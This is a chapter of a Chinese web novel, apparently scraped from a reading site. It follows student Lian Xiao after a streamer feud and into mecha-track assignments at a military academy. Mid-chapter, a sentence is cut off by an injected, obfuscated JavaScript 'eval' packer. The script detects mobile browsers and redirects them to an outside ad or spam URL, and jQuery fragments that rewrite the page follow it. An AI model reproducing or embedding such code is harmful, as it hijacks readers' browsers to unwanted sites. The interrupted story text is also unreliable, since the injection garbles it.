一锤定音。


    齐秉诚那句话，无疑给这场持续近一周的闹剧画上了句号。


    连骁直播间欢呼雀跃，键盘哥心如死灰。


    他直播间人气其实不降反升，但来的人为了看败军之将反应，路人网友恶趣味永远在线。


    爱吃营养剂的键盘面色发白，第一次在屏幕上看到那么大面积的辱骂。


    他艰难地咽了口口水。他当然知道道歉滑跪得越快，后续复出阻力越小，会有粉丝替他辩解“他已经道歉了还要怎样”。


    可他享受惯了被人吹捧，记不清最开始还是小up主的时候，是怎么放低身段的了。何况……想到曾经踩过的那么多同行，键盘哥颤抖起来，他们可能放过他吗？


    连骁大赢特赢，连骁方所有人也觉得自己大赢特赢。


    跑来帮忙的联盟大学学子们不仅收获优惠券，还有了和别人吃瓜吹牛的一手资讯，开心；天降kpi不愁的陈主编，开心；更不用说老泪纵横的齐秉诚，激动得血压都升高了。


    就连啊噗啊噗视频网的幕后工作人员也快跟着齐秉诚喜极而泣了，单今天两场直播的热度，不光创下了网站今年记录，还破圈到其他社交app引了波流。


    网站也大赢特赢。


    天降紫微星。现在连骁在工作人员眼里身影都镀了层金。


    唯一输家好像只有键盘哥和卡托佛公司。不对，在连骁看来，这些连卡托佛公司的皮毛还没伤及半分。


    和齐秉诚，林玉盘交换了联系方式，约定好今后有空详谈，发自内心的感谢说了一箩筐，再送走了来帮忙的联盟大学学子们，连骁才有机会喘口气。


    收拾完厨房，他们一行人像结束了一次春游，吵吵闹闹意犹未尽往联盟大学走。


    连骁还没跟赵荔青说两句话，赵女士就被湛卢拉走问体能训练相关问题了，她转头刚想夸钱钰熠怎么想出的优惠券大法，结果一看两电视儿童凑一块热聊，切萨雷捶胸顿足后悔没趁机索要齐秉诚签名。


    算了还是不瞎凑活了。


    不知不觉间，顾长风和她并肩。


    十二月风里有稀薄的寒意，这颗星球一直因为气候温暖，春秋两季漫长为人称道。路灯一盏一盏在他们头顶亮起，横亘在街面的光影拉的很长，像是他们一同越过一条又一条温暖光河。


    “连骁，体能训练情况怎么样？”暖黄路灯光线柔化了顾长风的面部轮廓，减弱了深刻骨相带来的距离感。可能由于这缘故，他的语气听上去也比平常柔和低沉。


    这一周多时间内训练室又恢复到由他独享的状态，最开始几次顾长风觉得那里安静得令人不习惯。


    连骁双手插兜，体能训练的事想到哪说到哪。她应该庆幸键盘哥挑起的麻烦事早点解决了，否则她怀疑伍教官怒火快要压制不住了，不知什么时候就会爆发出来。


    唉，学业副业难两全。这是贫穷留子的永远难题。


    顾长风听后若有所思：“听起来你们普通训练快要收尾了。教官大概很快会让你们进行机甲适应性训练。”


    连骁被勾起了兴趣。体能训练具体安排对外不与展示，需要有经验的教官把控他们的训练进程。接下来要做什么，教官基本不会透露口风。


    体能训练最终目的是让新生身体素质达标，开启机甲训练。决定未来机甲定位重要性不亚于选专业，很大程度上决定了发展前景。


    年年都有学生一心奔热门，浪费了不少时间发现不合适，又转不了其他方向的悲剧发生。


    不过对连骁来说就是走个过场，除非她出现和顾长风当时一样的情况，否则她已经和方舟位绑定了。


    机甲学院，甚至军部，都太渴望新的S级方舟出现。


    连骁心说有点遗憾，其实她还挺喜欢烛龙火力充足的手感来着。


    高压下忙了一天，连骁步履轻快不起来。前面的人走得快，他们慢慢落到队尾，又慢慢和大部队拉开距离。


    地上车流，半空划过的空浮车，还有昼夜不息的全屏广告。这里是联盟主星最繁华的地段之一，可顾长风却觉得周围宁静。


    “其实……”话头到嘴边，又被他自己咽回去了。顾长风少有这样犹豫的时刻。


    连骁不明所以地偏头，摆出认真聆听的姿态。想要挑起话题的那个人却触电一样，匆匆移开视线。


    这是他第二次由衷地羡慕切萨雷了。


    陈述事实，理性分析，是他和别人交流方式的舒适区；他扪心自问，自己也不像输入一串数字，经过精密计算吐出答案的单调无味的程序。其他人私下里说他冷面，高高在上，可他和亲近的朋友相处时也会放松展露情绪波动。


    但为什么想对连骁说出关怀祝贺，会这么困难。


    连骁和他也称得上关系不错的校友吧，所以这点异样感才格外令人困惑。


    高强度训练，随时准备应对军部对他和红龙3号的抽检，以及提前准备下学期的军演。每一件占据顾长风心神的繁杂事情间，这个不起眼的小问题总会不厌其烦地冒头，仿佛重重柔软天鹅绒床垫下藏着的豌豆，彰显存在感，硌得他寝食难安。


    现在想不出，就先抛到脑后吧。


    顾长风轻轻叹口气，刚找到一点线头的毛线团又骨碌碌滚远了。


    和其他人告别，从空浮车上下来，切萨雷大摇大摆搭上顾长风肩膀，“你和连骁刚才在后面嘀嘀咕咕什么呢？”


    顾长风面无表情把人推开，他可不想扛着一个八十公斤浑身腱子肉的成年男性走路。他要是说其实他和连骁相顾无言地走完了后半段路，小萨也不会信。


    嗅到八卦气息的切萨雷不满没有得到答案，刚想追上去，突然顾长风一回头：“……你和钱学姐聊的电视节目有哪些？”


    他复盘过了，目前他和连骁共同话题范围太小。了解一点流行文化，或许下次他们聊天就不会那么尴尬。


    切萨雷惊悚：“哇。”


    “……”顾长风，“算了。没什么。”


    然后震惊到石化的切萨雷就看见他亲爱的，冷静理智的室友，以快到不正常的步速抛下他们走远了。


    夭寿了。


    这还是他认识的顾长风吗。


    是什么让老顾变得奇奇怪怪啊——


    >


    接下来两天，假中餐风波余波尚未结束，不过连骁基本就是听钱钰熠转述。


    什么键盘哥滑跪啦，什么她整理的各路粉丝友好问候她的私信合集上传后反响激烈，正义路人又转过头把键盘哥踩了一顿，还有什么好几个之前因为键盘哥退网的up主现身，据说准备联手起诉键盘哥和施暴的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102293|157484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    粉丝，还问连骁这边要不要加入……


    穷寇莫追的道理连骁懂得，更多的交给积怨已久的其他up主就好了。


    伍教官连续好几天对连骁网开一面，终于能大大方方罚连骁跑步做蛙跳了，登时觉得当教官气出的褶子都展开了。


    明年他说什么也不带下一届废物体能训练了。


    这天训练，被罚做完了二十组蛙跳，连骁腿脚发抖。从没在训练时间打开过的大门竟然开启了，只在训练开始时现身过的司空明领着机器人走进训练场。


    司空明笑呵呵的，看着大家列队站好：“同学们辛苦啦！”


    全体学员沉默敬礼。


    被教官们训了快两个月，全体学员被锻炼出的不仅是身体素质，还有波澜不惊和淡淡的死意。除非宣布体能训练原地结束，已经没有什么能刺激到他们的神经。


    “很好很好，成熟了呀。”司空明像老大爷逛公园，背手踱步转来转去，满意地拍拍前排学员肱二头肌。


    机器人井然有序地将光脑分发到每个人手中。激活光脑，最先跳出来一份文件。


    姓名：连骁


    精神力等级：S级


    体能训练排名（暂时）：37/102


    视线匆匆扫过开头几行，连骁听见司空明解释道：“同学们应该早有心理准备，咱们机甲专业在下学期要分流的，这份文件是几个教官在亲自指导你们的过程中，基于对你们每个人的了解给出的建议。”


    “当然了，这只是参考意见。最终的结果还是由你们自己拿主意。”


    连骁目光继续向下看：


    ……建议选择机甲兵种：方舟/主攻型


    她以为自己看岔了，又对了一遍。


    方舟。主攻型。两个方向？


    周围偷瞄一圈，没有人和她一样是两个推荐方向。


    她现在排名稳定在前三分之一很让人欣慰没错，不过两个定位都推荐她尝试，好像有点对她太寄予厚望了。


    这份意见书对像连骁这样出身比较普通的学生很具参考价值。一线机甲兵意见含金量之高，任谁拿到手都要认真斟酌的。


    “大家拿到手的意见书，每一份都是由我审阅后签发。”奥罗拉说，“确定方向前，你们有一晚上的思考时间。此外，明日常规训练取消，将进行模拟机甲适应性训练，也是体能训练最后一次大规模对抗实战。实战规则将由伍教官讲解。”


    大家倒吸一口气，以战代练，这么刺激的吗。


    伍教官：“规则没啥好讲的，注意晚上十二点，厄科会向在场所有学员发送具体规则——这回别说教官们藏着掖着坑你们了，你们有十分钟的时间阅读完规则，然后组队。每队限五人。限时十分钟一过，没有组队成功的学员视为弃权，取消资格。”


    “另外，记得明天自备营养剂，”连骁感觉伍教官的视线往她方向看，似笑非笑，“和其他能吃的东西。”


    连骁：……


    干脆报中餐的名号好了。


    当晚，连骁和赵荔青守在光脑前，静候规则书。


    “来了！”


    十二点一到，果然两人校内邮箱投递了新邮件。


    一目十行草草阅读完规则书，两人对视一眼，都从对方脸上读出惊讶，异口同声：“不是吧？”